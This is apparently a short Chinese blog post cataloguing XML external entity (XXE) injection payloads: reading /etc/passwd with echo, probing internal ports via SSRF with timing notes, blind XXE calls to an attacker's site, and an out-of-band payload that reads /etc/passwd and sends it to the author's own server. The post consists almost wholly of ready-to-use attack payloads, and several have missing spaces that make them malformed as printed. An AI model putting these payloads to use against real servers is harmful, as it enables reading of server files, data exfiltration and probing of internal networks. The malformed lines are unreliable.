XXE常见利用方式

XML外部实体注入

1、有回显—读服务器文件:

外部一般实体:

<?xml version="1.0"?>
<!DOCTYPE ANY [<!ENTITYcontent SYSTEM"file:///etc/passwd">]>
<name>&content;</name>

2、SSRF—探测端口:

适用于有回显和blind xxe,也是外部一般实体:

<?xml version="1.0"?>
<!DOCTYPE ANY [<!ENTITY contentSYSTEM "http://10.165.89.150:88">]>
<name>&content;</name>

根据响应时间判断:

开放端口,响应时间为16millis

未开放端口,延迟反应1047millis

3、Blind xxe

控制web服务器任意发包:0

<?xml version="1.0"?>

<!DOCTYPE ANY [<!ENTITYcontent SYSTEM " http://<oursite>/hhhhhhh">]>

<name>&content;</name> 

4、OOB blind

OOB(Out-Of-Band)是个通用的技巧,在其他漏洞场景也有利用。在这里其实是1和3的结合,发两个包,分别请求web服务器的敏感文件和我们的服务器,以此将数据带出:

<?xml version="1.0"?>

<!DOCTYPE message [

    <!ENTITY% files SYSTEM "file:///etc/passwd"> 

    <!ENTITY% send SYSTEM "http://myip/?a=%files;">

%send;]>
posted @ 2023-01-10 15:00  Haibara-Z3r0  阅读(82)  评论(0编辑  收藏  举报